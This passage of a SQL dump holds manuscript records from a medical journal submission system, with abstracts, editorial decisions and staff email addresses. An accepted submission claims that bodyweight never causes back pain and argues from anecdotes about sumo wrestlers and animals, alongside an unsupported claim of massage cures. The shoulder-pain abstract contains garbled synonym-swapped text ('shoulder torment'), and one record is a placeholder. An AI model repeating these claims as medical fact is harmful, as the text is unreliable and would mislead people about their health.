NIV was 12 days. The average daily treatment time with NIV on the first day was 16.5 hours, on the second day - 17.2 hours and on the third day 15.7 hours. The patient was discharged on the 18th day with improvement.\r\n','Key words: non-invasive ventilation, acute respiratory failure, COVID-19.',3411,NULL,'2020-07-28',NULL,'Submitted',4,NULL,'2020-11-02',NULL,1,1,'0','as per the reviewer comments, author need to do the certain modifications and submit the revised article. send for revision',0,'','',NULL,0,0,0,NULL,0),(5490,6692,45,0,'','Bodyweight never causes back pain, neck pain, or disc prolapse.',NULL,17,2,NULL,'Sumo wrestlers who weigh 350 kgs do not feel back pain, whereas lean people are found to develop back or neck pains.\r\n pain in the neck is said to be caused by body weight. Even If we try to reduce the body weight, the reduction in the weight of the head will be only marginal. \r\nThe claim of modern science - 50% of the symptoms can be eliminated by a 5% reduction in body weight and an increase in body weight is the reason for most of the neck, back and joint pain.\r\n\r\n        To stop cancer from spreading some body parts are removed by surgery which in turn reduces the weight of their head and yet they do not feel any relief for their neck and shoulder pains.\r\n \r\nPeople who do not have limbs naturally or by accident do have complaints of spondylosis and osteoarthritis although their body weight is remarkably very low. \r\n         People who have undergone surgical methods to reduce their body weight approximately 10 kg or 10% still suffer from sustained back / joint pain. So is the case with people who had successfully tried dieting. \r\n        Some patients with back pain and knee pain while they are undergoing treatment get asthma and some others due to inflammation in their stomach, lose appetite. In either of these cases, bodyweight is observed to reduce up to half of the original weight or even less. This loss of body weight does not always alleviate their pain. \r\n\r\nThe camels have very lean legs. These lean legs can carry heavyweights. Animals like crocodiles and pangolin have a long, heavy and thick tail which they use for the attack. \r\nEven though the weight of their tail is carried by the vertebral column, But why do they not suffer from any pain of this kind.\r\n. I have cured all types of persons, lean, fat and overweight. I have a massaged (special type) touching the veins, arteries, and muscles only and no bones or discs. I could reduce the inflammation and change the cause of inflammation. I have measured the body weights of patients before and after the treatment. Some lean patients who get cured by the treatment may even put on more weight. All these clearly show that bodyweight does not lead to Back pain or disc prolapse, but only inflammation causes pain. Inflammatory contents (main content is water) are indeed high in the body of fat persons giving a false impression of overweight.\r\n\r\n\r\nAlmost all of the weight lifters are stout persons. Their bone mass is more that of leaned persons. Leaned persons are not in this field because they haven’t enough strength to lift the weight. An unnecessary reduction of body weight brings a lack of strength and energy. Certain people do have a heavier bone mass or weight. \r\nThese peoples have relatively increased body weight than others. Who belongs to the same height and age group. So the criteria in judging the bodyweight for everyone following height and age group is not correct. Obesity with unhealthy fat accumulation is destructive to total body structure except for this reason body weight shall be of no concern at all. \r\n	\r\n','',686,NULL,'2021-09-20','2020-07-29','Submitted',19,NULL,'0000-00-00',NULL,1,0,'1','Accepted',0,'970','phanindra_k@omicsgroup.co.in',NULL,0,4,0,NULL,0),(5503,6705,45,0,'iphsj-20-5503','Occupational shoulder pain and associated disability among professional bus drivers in Northern Thailand  ',NULL,17,2,NULL,'Occupational shoulder pain (OSP) is a part of the work-related musculoskeletal disorders (WRMSDs).  Professional bus drivers often work with repetitive movements of neck and shoulder for a prolonged period of time which may lead to OSP and WRMSDs.  A sustainable model of assessment, rehabilitation and training (SMART Drive) of professional drivers is an ongoing international project which aims to improve the health and wellbeing of the drivers.  As part of the ongoing project, this study investigated the prevalence of OSP and associated disability among professional drivers in the Chiang Mai region, Northern Thailand.  An epidemiological cross-sectional study was conducted among 83 professional bus drivers.  The drivers were recruited using pre-defined study criteria from a private bus company which was randomly selected in a group of three bus companies.  The prevalence of OSP was evaluated using the Standardized Nordic Musculoskeletal Questionnaire.  Any disability due to the OSP was measured using the Shoulder Pain and Disability Index tool (SPADI).  A descriptive analysis was carried out to report the prevalence of OSP and related disability.  The mean age of the drivers was 44±7 years with 7±1 hours of driving per day and 50±12 hours of driving per week.  The 12 months prevalence of unilateral OSP was 48% (N=40) and the 7 days prevalence was 36.1% (N=30).  Approximately 24% (N=20) of the drivers reported bilateral OSP.  The disability scores due to pain were 42% (SPADI pain disability score-21) and disability in function was 25% (SPADI function disability score-19) and the overall SPADI disability score was 41.\r\nShoulder issues including torment, are one of the more typical explanations behind doctor visits for musculoskeletal manifestations. The shoulder is the most versatile joint in the body. Be that as it may, it is an unsteady joint on account of the scope of movement permitted. This insecurity improves the probability of joint injury, frequently prompting a degenerative procedure in which tissues separate and no longer capacity well. \r\n\r\nShoulder torment might be confined or might be alluded to zones around the shoulder or down the arm. Different areas inside the body, (for example, gallbladder, liver, or coronary illness, or ailment of the cervical spine of the neck) additionally may create torment that the cerebrum may decipher as emerging from the shoulder. \r\n\r\nThe shoulder joint is made out of three bones: the clavicle (collarbone), the scapula (shoulder bone), and the humerus (upper arm bone) (see graph). Two joints encourage shoulder development. The acromioclavicular (AC) joint is situated between the acromion (some portion of the scapula that frames the most noteworthy purpose of the shoulder) and the clavicle. The glenohumeral joint, to which the expression \"shoulder joint\" ordinarily alludes, is a ball-and-attachment joint that permits the arm to pivot in a roundabout manner or to pivot out and up away from the body. The \"ball\" is the top, adjusted segment of the upper arm bone or humerus; the \"attachment,\" or glenoid, is a dish-molded piece of the external edge of the scapula into which the ball fits. Arm development is additionally encouraged by the capacity of the scapula itself to slide along the rib confine. The container is a delicate tissue envelope that surrounds the glenohumeral joint. It is lined by a slender, smooth synovial film. \r\n\r\nThe bones of the shoulder are held set up by muscles, ligaments, and tendons. Ligaments are extreme lines of tissue that join the shoulder muscles to bone and help the muscles in moving the shoulder. Tendons connect shoulder unresolved issues other, giving steadiness. For instance, the front of the joint case is moored by three glenohumeral tendons. \r\n\r\nClinical history (the patient enlightens the specialist concerning a physical issue). For shoulder issues the clinical history incorporates the patient\'s age, prevailing hand, if injury influences typical work/exercises just as subtleties on the genuine shoulder issue including intense versus ceaseless and the nearness of shoulder getting, precariousness, locking, torment, paresthesias (consuming sensation), solidness, expanding, and weakness.[2] Other healthy data incorporates OPQRST (beginning, mitigation/incitement, quality, radiation, seriousness, timing) and a past filled with issues that could prompt alluded (torment felt at the shoulder however originating from another piece of the body) including cervical spine issue, respiratory failures, peptic ulcer illness, and pneumonia. Normalized surveys like the Penn Shoulder Score that evaluate shoulder torment and capacity can help in evoking the necessary history to make an analysis and screen condition movement. \r\n\r\nPhysical assessment of the shoulder to feel for injury and find the constraints of development, area of agony, and degree of joint shakiness. The means to evoke this data are investigation (looking), palpation (feeling), testing scope of movement, and performing extraordinary maneuvers.[2] Information gathered on review are asymmetry, decay, ecchymosis, scars, expanding, and venous extension. Palpation can assist find with tormenting and deformations, and ought to explicitly incorporate the foremost glenohumeral joint, acromioclavicular joint, biceps ligament, cervical spine, coracoid procedure, scapula, and sternoclavicular joint. Scope of movement tests outside and interior revolution, snatching and adduction, inactive and dynamic shortcoming, and genuine shortcoming versus shortcoming because of torment. The Apley scratch test is the most helpful: contact inverse scapular by coming to behind the head for adduction and outer turn and behind the back for snatching and inner revolution. At long last, there are progressively explicit moves that can home in on a determination, anyway their precision is restricted.\r\n\r\nConclusion and significance:  OSP is a serious work-related disorder among professional drivers with low to moderate disability.  The study findings call for the strategies and management programs to improve the musculoskeletal health and wellbeing among professional drivers.\r\n','',643,NULL,'2020-07-29',NULL,'Submitted',19,NULL,'2020-08-06',NULL,1,1,'1','Accepted',0,'970','phanindra_k@omicsgroup.co.in',NULL,0,4,0,NULL,0),(5549,6755,326,0,'IPJUS-20-5549','ACUTE APPENDICITIS IN DE GARENGEOT HERNIA – A SYSTEMATIC REVIEW ',NULL,15,0,NULL,'INTRODUCTION\r\nPresence of appendix within a femoral hernia is a rare pathology named eponymously as de Garengeot’s hernia that is mostly identified as an incidental finding during exploration for an incarcerated femoral hernia and even rarer is the incidence of acute appendicitis in these cases. \r\nAIM\r\nTo undertake a systematic review of the published case reports, focussing on the incidence of acute appendicitis within a de Garengeot hernia, the relationship between pre-operative diagnosis and surgical technique, as well as the incidence and surgical outcome. \r\nMATERIALS AND METHODS\r\nA PRISMA modelled literature search was carried out across PubMed, ProQuest, and BMW Case Report databases with the search terms ‘Femoral Hernia’, ‘Appendix’, ‘de Garengeot’s’ in various combinations, limited to English language, published between1960 to 2019. Authors report another case report, not included in the systematic review. \r\nRESULTS\r\nSystematic review identified 83 published data reporting 111 cases. 74(66%) presented with painful groin swellings. Computerised Tomography performed in 43(38%) accurately diagnosed  de Garengeot’s in 32(74%) patients. The most common surgical approach was Lockwood’s low approach 35[31%) followed by the Lotheissen’s approach 23(21%).81(72%) underwent herniorrhaphy with non-absorbable sutures and 20  had mesh repairs (18%).Ten(9%) patients were reported to have  postoperative morbidity with wound infection being the most common complication and one recorded  death.\r\nCONCLUSION\r\nRarity of de Garengeot’s hernia is shown by the limited availability of data that restricted the authors ability to conclude a single diagnostic pathway or a specific surgical technique for this condition. CE CT is shown to be a relatively accurate form of imaging tool, as well as Ultrasound scans in the event that there was accessibility issues.Sequestrated appendicectomy and hernia repair via laparoscopy could be an option, however, there is lack of data to warrant its effectiveness as the surgical option of choice over an open groin approach in the presence of an incarcerated groin swelling.','Coloretal Surgery\r\nAppendicitis\r\nGeneral Surgery\r\nDe Garengeots Hernia\r\nFemoral Hernia',2505,NULL,'2020-07-30',NULL,'Submitted',2,NULL,'2020-08-25',NULL,1,1,'0','As per review comments this manuscript is accepted for publication.',0,'','',NULL,0,0,0,NULL,0),(5550,6756,975,0,'ipjbs-20-5550','Canine inflammatory mammary carcinoma as a promising model for cancer pathology and anticancer drug development: lessons from a case series',NULL,14,0,NULL,'Background: The prognosis of Inflammatory Breast Carcinoma (IBC) in women is weaker than other types of breast cancer. Inflammatory Mammary Carcinoma (IMC) is a spontaneous breast malignancy in dogs that, according to some scientific evidence, makes it a good model for women\'s IBC studies. This study aimed to describe the clinical, pathological, immunohistochemistry characteristics and clinical findings of relapse in IMC compared with IBC.\r\nMethods: This study was a case series, and 10 dogs that were clinically and pathologically confirmed for IMC diagnosis were included. Their clinical and pathological parameters and recurrence findings and Disease-Free Survival rate (DFS) was calculated, and paraffinic blocks were stained by ER, PR, HER2, KI67, TP53 and COX2 markers and their statistical relationship with DFS was obtained.\r\nResults: In 40% of cases the lymph nodes were involved. All tumors were high-grade and had 70% of vascular invasion and dirty margins. Evaluation with IHC showed that only 10% of them were hormone receptor positive and 70% were HER2 positive. KI67 was high in all patients and HER2 and triple negatives molecular subtypes accounted for 70% and 30% of cases, respectively. 80% of cases were p53, and the COX2 enzyme was positive in all cancers. Statistical analysis showed that DFS was associated with KI67 expression and the risk of recurrence was increased with the elevation of its expression.\r\nConclusion: In dogs, IMC mimics many of the clinical, pathological, and molecular characteristics of human IBC, and is likely to be a suitable model for comparative oncology studies.','COX2 enzyme; Disease-free survival; Inflammatory breast carcinoma; Inflammatory mammary carcinoma; Molecular subtype',3460,NULL,'2020-07-30',NULL,'Submitted',4,NULL,'2021-03-05',NULL,1,1,'1','Publish',0,'','',NULL,0,0,0,NULL,0);
INSERT INTO `manuscripts` VALUES (5569,6779,996,0,NULL,'New Possible Horizons in the Classification of Juvenile Idiopathic Arthritis',NULL,14,0,NULL,'Objective: Idiopathic juvenile arthritis represents a significant challenge for pediatricians who intend to diagnose and treat this pathology. The classification criteria for JIA subtypes were more rigid and often did not fully satisfy the possibilities of classification in the subtype. It was tried from this point of view to find homogeneous criteria for classification in subtypes that would allow a better understanding of the pathogenesis of this disease. The objective of this study is to show that there are cases that do not accurately meet the characteristics of a type or cases that meet the criteria of 2 subtypes. These difficulties in classification have been reported in other medical studies that have shown that 10 to 20% of cases cannot be classified in certain categories. A committee of experts meeting in 2019 revealed these difficulties of classification and proposed new research directions for a more correct classification in the subtypes of the disease. In our case study we found cases that met criteria for 2 subtypes of the disease and we will finally decide which will be the therapeutic conduct. In our study, we observed 187 patients with idiopathic juvenile arthritis from the Cluj-Napoca Children\'s Emergency Hospital to verify the usefulness of the International League of Arthritis Rheumatology classification criteria. We also compared our results with the results of other studies. Results: We found that 90% of the patients were within these diagnostic criteria. The other 10% were with difficulties of inclusion criteria or unclassifiable. Conclusion: A new classification of idiopathic juvenile arthritis based on physiopathological and genetic criteria would be necessary, and the secondary determinants should be considered to the diagnosis guides. ','Juvenile idiopathic arthritis; diagnosis; subtype; subclassifications. ',3649,NULL,'2020-07-31',NULL,'Submitted',4,NULL,'2020-12-02',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5589,6802,251,0,'ipacm-20-5589','Pathogenesis of Helicobacter Pylori; Case Management Indicator strategy',NULL,4,0,NULL,'Helicobacter Pylori (H.Pylori) is a microorganism that invades the gastric and duodenal mucosa and is notoriously known to cause disease by attacking the gastric and or duodenal mucous lining. Infection with H. Pylori is commonly diagnosed as Peptic Ulcer Disease (PUD) by Clinicians','Helicobacter Pylori',777,NULL,'2020-07-31',NULL,'Submitted',2,NULL,'2020-09-14',NULL,1,1,'0','Pathogenesis of the helicobacter Pylori was writte in the maanuscript. The author has written the article with full clarity and in neat presentation. Indicator staartegy as used in this article. The article is good to publish.',0,'','',NULL,0,0,0,NULL,0),(5597,6810,326,0,'IPJUS-20-5597','A STUDY OF CLINICAL PROFILE AND SURGICAL MANAGEMENT OF DYNAMIC INTESTINAL OBSTRUCTION IN A TERTIARY CARE HOSPITAL IN KARNATAKA, INDIA',NULL,14,0,NULL,'\r\nBACKGROUND:  Bowel obstruction is one of the most common intra-abdominal problems faced by general surgeons. This study is designed to assess epidemiology, clinical presentation, diagnostic modalities of dynamic (mechanical) intestinal obstruction and to assess the outcome of surgical management of the same. \r\nMETHODS: After ethical committee approval and informed consent, a total of 48 patients who presented to Yenepoya Medical College Hospital, Mangalore, Karnataka with dynamic intestinal obstruction were selected. All surgically managed cases of dynamic obstruction above the age group of 18 years were included. Patients less than 18 years of age and those managed conservatively were excluded. \r\nRESULTS: It was found that the mean age at presentation was 48.54 years with females (52.1%) being more commonly affected. Pain (100%) was the most consistent symptom, and tenderness (91.7%) the commonest sign noted, with Contrast CT abdomen being diagnostic in 100% of cases. Total Leukocyte count or CRP were not found to be reliable indicators to predict patient outcome. CEA had a significant correlation with a diagnosis of malignant obstruction. Emergency diversion colostomy or ileostomy (35.4%) was the commonest surgical procedure performed followed by adhesiolysis (16%). Malignancy (41.7%) was the commonest cause followed by Adhesions (14.6%) and Obstructed Hernia (14.6%).\r\nCONCLUSIONS: Abdominal pain with tenderness on examination was the most common presentation. Total Leukocyte Count and CRP were found to be unreliable as severity indicators, whereas CECT Abdomen was conclusive in all cases. Malignant obstruction was the leading cause in this study. The initial surgical management commonly involved a diversion procedure, with good outcome. \r\n','obstruction, adhesions, colostomy, hernia, carcinoma',2505,NULL,'2020-08-01',NULL,'Submitted',2,NULL,'2020-08-25',NULL,1,1,'0','This article is accepted for publication now.',0,'','',NULL,0,0,0,NULL,0),(5607,6818,73,0,'ipjnn-20-5607','Effects of Intrathecal and Intracerebroventricular Microinjection of  Kaempferol on Pain: Possible Mechanisms of Action',NULL,3,0,NULL,'Introduction: A flavonoid Kaempferol (KM) exerts anti-inflammatory and anti-cancer effects, and it is reportedly capable of preventing metabolic diseases. Nonetheless, very few studies have been done on the antinociceptive effects of KM (AEK). The present paper studies the antinociceptive effects and likely mechanisms of KM in rats through the tail-flick (TF) and the formalin paw (FP) tests. This research aimed at assessing the involvement of opioids, GABA receptors, and inflammatory mediators in the AEK in male Wistar rats. \r\nMaterials and Methods: The intracerebroventricular (ICV) and/or intrathecal (IT) administration of the compounds was done for examining central impacts on the thermal and chemical pains by the TF and FP tests. For assessing the opioid and GABA receptor\'s role in the possible AEK, several antagonists were used. Also, a rotarod test was carried out for assessing motor performance.\r\nResults: The ICV and/or IT microinjections of KM (40 g/rat) had partially antinociceptive effects in the TF test in rats (P < 0.05). In the FP, IT microinjection of KM had antinociceptive effects in phase-1 (20, 40 g/rat; P < 0.05, P < 0.01, respectively) and phase-2 (20, 40 g/rat; P < 0.01, P < 0.001, respectively). Using naloxonazine and/or bicuculline approved the opioid and GABA receptors\' involvement in the central AEK, respectively. In the FP, KM reduced the caspase 6, IL-1β, TNF-α, and IL-6 expression in the spinal cord. The AEK was not linked with variations in the locomotor activity.\r\nConclusion: These findings proposed AEK through opioid, GABA, and inflammatory mechanisms in rats (especially in the i.t. route of injection).\r\n\r\n','flavonoids, pain, opioid, gamma-Aminobutyric Acid, central nervous system',327,NULL,'2020-08-01',NULL,'Submitted',4,NULL,'2021-03-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5654,6867,326,0,NULL,'Review and update: robotic transanal surgery (RTAS)',NULL,17,0,NULL,'As the field of surgery advances, new approaches have allowed surgeons additional flexibility to perform further interventions with minimal or no external incisions. For many years, single site access (SSA) has been used for transanal procedures, and platforms allowing modified endoscopic approaches have been available. These platforms have limitations related to access,visualization, dexterity, camera control, and instrumentation. Recently, surgical robotics companies have developed andintroduced new technologies and platforms, which may help address some of these limitations. Comprehensive internet, openaccess, and medical and industry conference reviews of robotic surgery platforms and technology available for use in SSAsurgery were conducted and 30 articles were found using keywords “robotic surgery, transanal, single site, robotic transanalsurgery”. A PubMed, Medline, Journals @OVID and open access search for data related to these platforms and technologies was also performed yielding 11 articles. Abstracts were reviewed for those written in the English language, leaving 40articles which were then filtered for those pertaining to robotic surgery, transanal. 58 abstracts were found, duplicates wereeliminated, and the remaining 35 articles were read in their entirety by two reviewers. Several new and existing platformsare identified for use in SSA surgery for transanal surgery as well as abdominal and transoral surgery. These are reviewed,including brand, features, approved and suggested uses, and potential limitations. New robotic technologies serve to enhancethe ability of surgeons to perform SSA surgery. This next generation of robotic surgery technology overcomes some of thelimitations of preceding endoscopic SSA surgery technology and will enhance the advancement of robotic transanal surgery,but outcomes and performance data are still limited.','',2505,NULL,'2020-08-03',NULL,'Submitted',4,NULL,'2020-08-05',NULL,1,0,'0',NULL,0,'1035','iqbalahmed_m@omicsgroup.co.in',2,0,0,0,NULL,0),(5655,6868,326,0,'IPJUS-20-5655','Our Experiences in 7 years treatment of VenaSeal A follow - up study conducted on 2250 truncal saphenous veins in 1250 cases',NULL,17,0,NULL,'We report about 7 - years results of a prospective comparative study of VenaSeal® - Closure in the treatment of 2250 saphenous veins in 1250 patients. \r\nThe present research paper sheds light on the advantages and disadvantages and presents the 84 - month results of a single- center ambulatory clinical study with prospective design.\r\nIn the base, all varicose veins should be treated actively. This we can find in nearly all guidelines worldwide. \r\nSince 20 years by now, varicosis has been increasingly treated endovenously. Before this, the varicose veins were treated radically with the \"stripping\" - method, a 110 years old radical surgery method.\r\nAt the start, the rather inconvenient VNUS® Closure Plus procedure and the more convenient linear laser procedure were used, and these were followed in 2006/2007 by the bipolar RFITT® catheter, the VNUS® ClosureFast system and the radial \r\nlaser. Thus, in the course of the last few years, plenty of experience has been gathered with endoluminal therapy, quality criteria have been defined and standards for the different techniques have been developed.\r\nIn addition, 16 years ago, far from the beaten tracks of radio wave and laser, the development of a fascinatingly simple, yet nevertheless highly effective method of sealing veins - the VenaSeal® closure technique - was initiated. \r\nAfter CE approval   had been granted in the autumn of 2011, a number of vein centers in Germany and Europe started using the VenaSeal® - system.\r\n Today there is an approval in all countries, also in USA since 2 / 2015. The author has applied Venaseal for the first time in a great saphenous vein on 1st. August 2012. \r\n','',2505,NULL,'2020-08-03',NULL,'Submitted',4,NULL,'2020-09-29',NULL,1,1,'0','According to review comments this manuscript is accepted with minor revision.',0,'','',NULL,0,0,0,NULL,0),(5656,6869,326,0,'IPJUS-20-5656','Evolution and Literature Review of Robotic General Surgery Resident Training: 2002-2018',NULL,17,0,NULL,'Statement of the Problem: Since no validated robotic surgical curriculum exists, a systematic approach to credentialing and training robotic surgeons using technical skill evaluation, interventions aimed at the enhancing skill evaluation, and standardizing assessment tools for certification needed to be created [1]. Best practices include a preclinical training assessment, didactic sessions, online tutorial, hands on components utilizing simulators and dry labs, and cadaveric labs [10]. This pathway was chosen to limit a learning curve of transiting and adopting new skills. The clinical training is a deliberate practice module, focusing on a specific procedure. This allows the learning to acquire skills more efficiently by building on high volume surgeries within the learners clinical setting [1]. In turn, the scalable curriculum provides additional insight to the credentialing board of an academic hospital when granting robotic privileges.\r\nTo accomplish this goal, the research suggests a multi-phase iterative mixed-method designfor validating a robotic surgery curriculum utilizing a proficiency-based progression of surgical skill training. Methodology & Theoretical Orientation: A mixed-method approach is fundamental due to the available data points. A mixed-method study will provide both quantitative data points of reduction of operating room times, skill set acquirement, proficiency to mastery skill set advancement, while also obtaining expert observational data and learning cognitive load analysis. To obtain triangulation and ascertain validity, the study will employ three validated assessment tools, ranging from aerospace to medicine specific. Simulator data will provide quantitative data and cognitive load assessments will provide learner qualitative data points.\r\nConclusion & Significance: The evolution of a novel robotic surgical platform has been met with challenges regarding user proficiency, patient safety, and emerging trends. Only by systematic reassessment of instructional methodologies will robotics flourish for additional decades to come. Hospital systems, surgical residency programs, and patients are now inquiring about surgical proficiency in robotics.\r\n','',2505,NULL,'2020-08-03',NULL,'Submitted',4,NULL,'2020-09-29',NULL,1,1,'1','According to review comments this manuscript is accepted with minor revision.',0,'','',NULL,0,0,0,NULL,0),(5670,6883,86,0,'ipaom-20-5670','Degree of Completion of Laboratory Request Forms in a Tertiary Hospital in Nigeria.',NULL,14,0,NULL,'Background: Pathologists require patients’ biodata and clinical presentations for accurate interpretation of the results of samples’ sent to the laboratory for analyses. Unstructured survey does suggest that physicians in the studied hospital do not provide all the information insisted on in a laboratory request forms.\r\nObjectives: Hence, this study objectively, investigated the level of completion of request forms presented to the chemical pathology department of Delta State University Teaching Hospital in Nigeria.\r\nMethodology: The study was a retrospective cross-sectional study. Laboratory Request Forms(LRFs) submitted to the Department of Chemical Pathology, Delta State University Teaching Hospital in Nigeria from July 2019 to December 2019 were reviewed systematically and assessed for correctness and completeness. A SPSS master sheet containing all the variables (hospital number, patient name, patient sex, patient age, patient address, patient contact number, ward/clinic, consultant name, consultant contact, laboratory form signed by doctor; type of sample collected, investigation requested, date sample was received by the laboratory; time sample was collected, date and high risk sample) indicated in the LRFs was created to enter the information in the forms. Form were said to be completely filled if all the information indicated in the form were filled by requesting physicians. \r\nResults: None of the laboratory forms received during the study period was completely filled.\r\nConclusion: Physicians may likely have no or little clue on the importance of completing laboratory request forms. Therefore, periodic orientation programmes should be conducted in this subject area for the effectiveness in the completion of LRFs\r\n','Completion, Laboratory Form, Nigeria',3888,NULL,'2020-08-03',NULL,'Submitted',2,NULL,'2020-09-01',NULL,1,1,'0','Accept ',0,'','',NULL,0,0,0,NULL,0),(5677,6891,86,0,'ipaom-20-5677','Postoperative Outcomes of Patients Undergoing : A Case Series',NULL,2,0,NULL,'xxxx','',3641,NULL,'2020-08-04',NULL,'Submitted',4,NULL,'2020-08-05',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(5690,4939,277,0,'ipadm-20-5690','INFECCIÓN  POR SARS-COV-2/COVID-19 E IVERMECTINA ¿UTILIDAD?.',NULL,5,0,NULL,'Se torna evidente la búsqueda necesaria de fármacos con perfiles de bioseguridad aceptables, que mitiguen el curso natural de la enfermedad, provocada por el SARS-CoV-2. Dentro de este grupo de fármacos utilizados, como posibles medida terapéuticas anti-SARS-CoV-2 se encuentra la Ivermectina. Un fármaco Diversos estudios que ha demostrado la validez in vitro que podría otorgar la ivermectina sobre los virus. No obstante, la evidencia contra él SARS-CoV-2 es limitada. Por lo que se recomienda suscitar la búsqueda de alternativas terapéuticas efectivas de posibles tratamientos que ayuden a disminuir el curso de esta enfermedad.','SARS-CoV-2, COVID-19, Ivermectina, antiviral.',2805,NULL,'2020-08-04',NULL,'Submitted',2,NULL,'2020-09-11',NULL,1,1,'0','Accepted for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(5691,4939,277,0,'ipadm-20-5691','¿SE JUSTIFICA EL USO DE IVERMECTINA COMO TRATAMIENTO PARA COVID-19?.',NULL,5,0,NULL,'Se torna evidente la búsqueda necesaria de fármacos con perfiles de bioseguridad aceptables, que mitiguen el curso natural de la enfermedad, provocada por el SARS-CoV-2. Dentro de este grupo de fármacos utilizados, como posibles medida terapéuticas anti-SARS-CoV-2 se encuentra la Ivermectina. Diversos estudios han demostrado la validez in vitro que podría otorgar la ivermectina sobre los virus. No obstante, se suscita la búsqueda de alternativas terapéuticas efectivas de posibles tratamientos que ayuden a disminuir el curso de esta enfermedad.','SARS-CoV-2, COVID-19, Ivermectina, antiviral.',2805,NULL,'2020-08-04',NULL,'Submitted',4,NULL,'2020-08-29',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(5702,6915,45,0,'iphsj-20-5702','Mapping Epidemiological Distribution of Serratia marcescens From Environment and Human Subjects in Ile Ife, South Western Nigeria: An Update.',NULL,14,0,NULL,'This study investigated the epidemiological distribution of Serratia marcescens among hospitalized individuals, hospital environments and halls of residence of Obafemi Awolowo University in Ile Ife, Osun state.\r\nTwo hundred and twenty samples from clinical and non-clinical sources were collected with ethical clearance approval (ERC/2018/09/02) from the Obafemi Awolowo University Teaching Hospital Complex, (OAUTHC) Ile – Ife, Osun State Advisory Committee. They were cultured on sorbitol Mcconkey agar infused with 200U/ml of colistin for the selective isolation of Serratia species. Non – duplicate colony was picked from each cultures and characterized biochemically with the use of microbat 24E kit to identify various species isolated.\r\nThirteen (61.9 %) Serratia marcescens out of the 21(9.55 %) Serratia sp. isolates were recovered from the study area. Other species isolated were S. fonticola (4.8 %), S. rubidae (4.8 %) and Serratia liquefaciens complex (28.6 %). Serratia species were significantly associated with the community (OAU) than the hospital (OAUTHC) (p Ë‚ 0.001).\r\nClinical research should be targeted on alternative pathogens control techniques as quorum quenching. Communities also requires enhanced capabilities for the detection of possible resistance mechanisms which must be adapted by private as well as public laboratories to implement appropriate infection control practices, and to prescribe effective chemotherapeutic agents against pathogenic strains of S. marcescens in the study area.\r\n','Epidemiological distribution, S. marcescens, Hospitalized patients, community infection, fomites',685,NULL,'2020-08-06',NULL,'Submitted',4,NULL,'2020-12-14',NULL,1,1,'1','Revised',0,'','',NULL,0,0,0,NULL,0),(5712,6934,73,0,'ipjnn-20-5712','Prevalence of Primary Headache Disorder Among Primary and middle School students in Kuwait.',NULL,14,0,NULL,'Background: Primary headaches are remarkably prevalent worldwide and increasingly reported among children. However, the exact trend in this age group, particularly in the gulf region, remains scarce. \r\nAims and Objectives: To examine the prevalence of primary headache disorders among primary and middle school students in Kuwait.\r\nMethods: We conducted a cross-sectional study that included Kuwaiti primary and middle school children and adolescents of both genders in randomly selected schools located in two governorates in Kuwait in 2018/2019 academic year. Prevalence and attributable burden of headache, definite and probable migraine,definite and probable tension-type headache, chronic headache ≥15 days/month and probable medication over use headache were assessed using the Headache-Attributed Restriction, Disability, Social Handicap and Impaired Participation (HARDSHIP) questionnaire for children and adolescents. \r\nResults: Of 1485 questionnaires that were distributed, 1089 students completed the questionnaire with a respondent rate of 73.4%. The study population consisted of 420 boys (38.56%) versus 669 girls (61.43%) students with a mean age of 11.5 ± 2.11 years. The one-year prevalence of primary headache disorders was 42.78% with more middle schoolers reporting headaches than primary schoolers (50.37% versus 30,48%; p <0.02). The mean age of students with primary headaches was 11.98 ± 2.03 years in both genders. When stratified according to diagnostic criteria, migraine headaches were the most frequently reported (20.75%) followed by tension type headaches (18.8%), chronic headaches (2.75%), and probable medication-overuse headaches (0.46%.). Primary headaches were more frequently reported in middle school compared to primary school It was significantly higher among  girls  compared to boys in middle-schoolers (66.46% versus 38.49%; p<0.001), however no significant difference in gender among primary school students(33.12% versus 22.33%; p<0.118). \r\nConclusion: Primary headaches are remarkably common in Kuwaiti school students with migraine headache being the most frequently reported type. Age and female gender pay a role in the development of primary headaches. The results  attract attention  of health services for those group, the need for further epidemiological researches. \r\n','Primary Headache, Prevalence, migraine, tension type headache, School students',356,NULL,'2020-08-06',NULL,'Submitted',1,NULL,'2020-11-10',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(5732,6957,971,0,NULL,'A Study on the in vivo effects of short and long term administration of gold nanorods on heart and brain tissues of normal male albino rats',NULL,14,0,NULL,'Background:\r\nGold nanorods (AuNRs) are unique among other forms of gold nanoparticles, due to its good penetrating ability to the tissues. This article aimed to investigate the short term and long term penetrating ability of AuNRs to heart and brain tissue. \r\nMaterial and methods:\r\nSixty adult male albino rats were allocated into two equal groups (each of six). The first group was left as a control and the second group received AuNRs suspension. At the end of the experiment, all the rats were sacrificed. Heart and brain tissues were collected and kept in a jar containing 10% buffered formalin for histopathological examination. \r\nResults:\r\nAuNRs induced degeneration, swelling and congestion of the heart tissue as well as necrotic and neural degenerative changes, and demyelination of some nerve fibers of brain tissue.  \r\n\r\nConclusion:\r\nIt has been concluded that gold nanorods can reach the heart and brain tissues that can be beneficial in further molecular and pharmacodynamic studies. \r\n','Male Albino rats, Gold nanorods, heart, brain, histopathology',3761,NULL,'2020-08-08',NULL,'Submitted',4,NULL,'2020-09-07',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5734,6959,86,0,'ipaom-20-5734','An ANN-Based QSAR Model to Predict Anti-Staphylococcus aureus Activity of Oxadiazoles',NULL,14,0,NULL,'Background: Antibiotic-resistant bacteria are likely to be one of the most critical problems in the future; hence, more effort is needed to design and develop new types of antimicrobial agents. Quantitative Structure-Activity Relationship (QSAR) is a procedure which helps other researchers to design better chemical agents with more potent biological activity. QSAR can be defined as a quantitative relationship between the chemical structure and biological activity. \r\nResults: In this study, a previously-synthesized oxadiazole library was used to build a QSAR model based on the Group Method of Data Handling (GMDH) method and Partial Least Squares (PLS) regression. Owing to their high correlation coefficients (R2) for test and training data, both methods are sufficiently reliable. In this study, the active compounds of the library were used as a template to design new chemical compounds predicted to have a great anti-Staphylococcus aureus (S. aureus) activity according to PLS, GMDH, and docking methods. GMDH and PLS are highly flexible such that they can include other information like absorption, distribution, metabolism, and excretion (ADMT) and toxicity.\r\nConclusions: The selected methods can be used to handle huge amounts of data 